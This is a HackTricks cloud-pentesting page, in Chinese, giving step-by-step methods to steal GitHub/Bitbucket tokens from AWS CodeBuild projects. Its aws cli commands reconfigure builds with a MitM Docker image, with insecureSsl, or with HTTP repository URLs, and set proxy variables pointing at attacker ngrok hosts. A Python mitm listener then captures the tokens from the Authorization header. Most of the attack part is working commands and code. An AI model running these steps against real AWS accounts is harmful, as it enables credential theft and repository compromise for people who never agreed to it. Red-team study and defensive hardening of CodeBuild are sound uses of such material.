AWS Codebuild - Token Leakage

学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

恢复 Github/Bitbucket 配置的令牌

首先,检查是否配置了任何源凭据,以便您可以泄露:

aws codebuild list-source-credentials

通过 Docker 镜像

如果你发现例如 Github 的认证已在账户中设置,你可以通过让 Codebuild 使用特定的 docker 镜像 来运行项目的构建,从而 提取访问GH token 或 OAuth token)。

为此,你可以 创建一个新的 Codebuild 项目 或更改现有项目的 环境 以设置 Docker 镜像

你可以使用的 Docker 镜像是 https://github.com/carlospolop/docker-mitm。这是一个非常基础的 Docker 镜像,将设置 环境变量 https_proxyhttp_proxySSL_CERT_FILE。这将允许你拦截在 https_proxyhttp_proxy 中指示的主机的大部分流量,并信任在 SSL_CERT_FILE 中指示的 SSL 证书。

  1. 创建并上传你自己的 Docker MitM 镜像

  • 按照仓库的说明设置你的代理 IP 地址并设置你的 SSL 证书,然后 构建 docker 镜像

  • 不要设置 http_proxy 以避免拦截对元数据端点的请求。

  • 你可以使用 ngrok,例如 ngrok tcp 4444 来将代理设置为你的主机。

  • 一旦你构建了 Docker 镜像,将其上传到公共仓库(Dockerhub, ECR...)。

  1. 设置环境

  • 创建一个 新的 Codebuild 项目修改 现有项目的环境。

  • 设置项目使用 之前生成的 Docker 镜像

  1. 在你的主机上设置 MitM 代理

  • Github 仓库 中所示,你可以使用类似的东西:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

使用的 mitmproxy 版本是 9.0.1,据报道在版本 10 中这可能无法工作。

  1. 运行构建并捕获凭证

  • 您可以在 Authorization 头中看到令牌:

这也可以通过 aws cli 以类似的方式完成

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

通过不安全的SSL

Codebuild 项目有一个设置叫做 insecureSsl,这个设置在网页上是隐藏的,你只能通过API进行更改。 启用此选项后,Codebuild可以连接到存储库 而不检查 平台提供的证书。

  • 首先,你需要使用类似以下的命令来枚举当前配置:

aws codebuild batch-get-projects --name <proj-name>
  • 然后,使用收集到的信息,您可以将项目设置 insecureSsl 更新为 True。以下是我更新项目的示例,请注意最后的 insecureSsl=True(这是您需要从收集的配置中更改的唯一内容)。

  • 此外,还要添加环境变量 http_proxyhttps_proxy,指向您的 tcp ngrok,如下所示:

aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "https://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 最后,点击 Build the project凭证将以 明文(base64)发送到 mitm 端口:

通过 HTTP 协议

这个漏洞在 2023 年 2 月 20 日那一周的某个时候被 AWS 修复了(我想是星期五)。所以攻击者无法再利用它了 :)

具有 提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌,或者如果权限是通过 OAuth 配置的,则 用于访问代码的临时 OAuth 令牌

  • 攻击者可以将环境变量 http_proxyhttps_proxy 添加到 CodeBuild 项目,指向他的机器(例如 http://5.tcp.eu.ngrok.io:14972)。

  • 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如:http://github.com/carlospolop-forks/TestActions

  • 然后,在代理变量(http_proxy 和 https_proxy)指向的端口上运行 https://github.com/synchronizing/mitm 的基本示例。

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 最后,点击 Build the project凭证将以 明文(base64)发送到 mitm 端口:

现在攻击者将能够从他的机器上使用令牌,列出它拥有的所有权限,并且比直接使用 CodeBuild 服务更容易(滥用)。

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE) 学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

Last updated